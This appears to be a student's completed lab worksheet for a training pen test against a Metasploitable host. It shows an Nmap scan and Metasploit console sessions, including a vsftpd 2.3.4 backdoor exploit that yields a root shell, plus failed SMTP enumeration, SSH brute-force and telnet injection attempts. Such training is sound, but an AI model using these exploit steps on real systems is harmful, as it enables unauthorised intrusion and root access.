



### Activity File: Metasploit Exploitation

- In this activity, you will continue to play the role of a pen tester conducting an engagement on MegaCorpOne.
- Through our previous Nmap scan, we discovered several exploitable services.
- MegaCorpOne has given you permission to exploit any vulnerable service you find, as long as you document your actions.
- You are tasked with using the Metasploit framework to obtain a reverse shell on the remote host using an exploit module.

Note the following:

- This activity might be slightly challenging, and you will be tasked with attempting multiple exploits.
- Some exploits may succeed and some may fail, similar to a real penetration test.
- You'll have extra time to work through this activity.
- Use the Metasploit cheat sheet to determine the appropriate commands to run.
- Use the template outlined later in this activity file to keep notes, because you'll use this information in later activities.

 **Reminder** - Don't forget to save your findings, as you will add them to your report on Day 4!

The following image shows the results of the Nmap scan that you ran in a previous activity:

```

(root@kali)~#
# nmap -sV 172.22.117.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-13 16:23 EST
Stats: 0:00:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.65% done; ETC: 16:24 (0:00:01 remaining)
Nmap scan report for 172.22.117.150
Host is up (0.031s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:15:5D:02:04:10 (Microsoft)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.74 seconds

(root@kali)~#

```

- **Warning: Heads Up:** Metasploit will sometimes choose a different default network adapter, which will cause exploits to not fully establish a connection back to Ubuntu. If you encounter this, set the default LHOST via `setg LHOST 172.22.117.100`

## Instructions

Your task is to use Metasploit to exploit as many services as possible within the time limit.

- To determine what exploit to attempt, use the Nmap scan results shown in the previous image to search for potential exploits.
  - **Hint:** Search for keyword values such as `vsftpd`, `smtp_enum`, and `ssh_login`.
- Once you have chosen an appropriate exploit, select (use) it.
- View and configure the required options.
- Attempt the exploit, and determine if it was successful or not.

For each exploit you attempted (failed or successful), document the following:

- **Exploit:** `exploit/unix/ftp/vsftpd_234_backdoor`
- **Host IP address:** `172.22.117.150`
- **Port:** `21`
- **Service name:** `FTP`
- **Service version:** `2.3.4`

- **Exploit outcome: Success**

```

0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor
Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_
backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS          yes          The target host(s), see https://github.com/rapid7/metasploit-f
  RPORT 21          yes          The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -

Exploit target:

  Id  Name
  --  --
  0    Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.22.117.150
RHOSTS => 172.22.117.150
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 172.22.117.150:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.22.117.150:21 - USER: 331 Please specify the password.
[*] 172.22.117.150:21 - Backdoor service has been spawned, handling ...
[*] 172.22.117.150:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.22.117.100:38131 -> 172.22.117.150:6200 ) at 2025-04-15 19:43:
30 -0400

whoami
root

```

- **Exploit: auxiliary/scanner/smtp/smtp\_enum**
- **Host IP address: 172.22.117.150**
- **Port: 25**
- **Service name: smtp**
- **Service version: SMTP User Enumeration Utility**
- **Exploit outcome: Failure**

```

msf6 > search smtp_enum

Matching Modules
=====
#   Name                                     Disclosure Date   Rank   Check   Description
-   -
0   auxiliary/scanner/smtp/smtp_enum          normal          No     SMTP User Enumeration Utility

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smtp/smtp_enum

msf6 > use 0
msf6 auxiliary(scanner/smtp/smtp_enum) > show options

Module options (auxiliary/scanner/smtp/smtp_enum):

Name           Current Setting  Required  Description
-
RHOSTS         172.22.117.150  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT          25              yes       The target port (TCP)
THREADS        1              yes       The number of concurrent threads (max one per host)
UNIXONLY       true            yes       Skip Microsoft bannered servers when testing unix users
USER_FILE      /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes       The file that contains a list of probable users accounts.

msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 172.22.117.150
RHOSTS => 172.22.117.150
msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 172.22.117.150:25 - 172.22.117.150:25 Banner: 220 metasploitable.localdomain ESMTF Postfix (Ubuntu)
whoami
^C[*] 172.22.117.150:25 - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smtp/smtp_enum) > run

[*] 172.22.117.150:25 - 172.22.117.150:25 Banner: 220 metasploitable.localdomain ESMTF Postfix (Ubuntu)
whoami
^C[*] 172.22.117.150:25 - Caught interrupt from the console...
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smtp/smtp_enum) >

```

- Exploit: auxiliary/scanner/ssh/ssh\_login
- Host IP address: 172.22.117.150
- Port: 22
- Service name: SSH
- Service version: OpenSSH 4.7p1
- Exploit outcome: Failure

```

0 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner
1 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner

```

Interact with a module by name or index. For example `info 1`, `use 1` or `use auxiliary/scanner/ssh/ssh_login_pubkey`

```

msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > show options

```

Module options (auxiliary/scanner/ssh/ssh\_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a>
RPORT	22	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	false	yes	Whether to print output for all attempts

```

msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 172.22.117.150
RHOSTS => 172.22.117.150

```

```

msf6 auxiliary(scanner/ssh/ssh_login) > run

```

```

[*] 172.22.117.150:22 - Starting bruteforce
[*] Error: 172.22.117.150: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::SSH)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >

```

- **Exploit:** `exploit/linux/http/dlink_dir300_exec_telnet` and `exploit/linux/http/tp_link_sc2020n_authentication_telnet_injection`
- **Host IP address:** 172.22.117.150
- **Port:** 23
- **Service name:** Telnet
- **Service version:** Linux telnetd
- **Exploit outcome:** Failure

```
root@kali: ~  
File Actions Edit View Help  
msf6 exploit(linux/http/dlink_dir300_exec_telnet) > back  
msf6 > use 33  
[*] Using configured payload cmd/unix/interact  
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > show options  
Module options (exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection):  


| Name         | Current Setting | Required | Description                                                                                  |
|--------------|-----------------|----------|----------------------------------------------------------------------------------------------|
| HttpPassword | admin           | yes      | Password to login with                                                                       |
| HttpUsername | admin           | yes      | User to login with                                                                           |
| PASSWORD     |                 | no       | The password for the specified username                                                      |
| Proxies      |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                 |
| RHOSTS       |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT        | 80              | yes      | The target port (TCP)                                                                        |
| SSL          | false           | no       | Negotiate SSL/TLS for outgoing connections                                                   |
| USERNAME     |                 | no       | The username to authenticate as                                                              |
| VHOST        |                 | no       | HTTP server virtual host                                                                     |

  
Payload options (cmd/unix/interact):  


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > set RHOSTS 172.22.117.150  
RHOSTS => 172.22.117.150  
msf6 exploit(linux/http/tp_link_sc2020n_authenticated_telnet_injection) > run  
[*] 172.22.117.150:80 - Exploiting  
[*] 172.22.117.150:80 - Trying to login with admin : admin  
[+] 172.22.117.150:80 - Successful login admin : admin  
[*] 172.22.117.150:80 - Telnet Port: 37251  
[*] 172.22.117.150:80 - Trying to establish telnet connection...  
[-] 172.22.117.150:80 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (172.22.117.150:37251).  
[*] Exploit completed, but no session was created.
```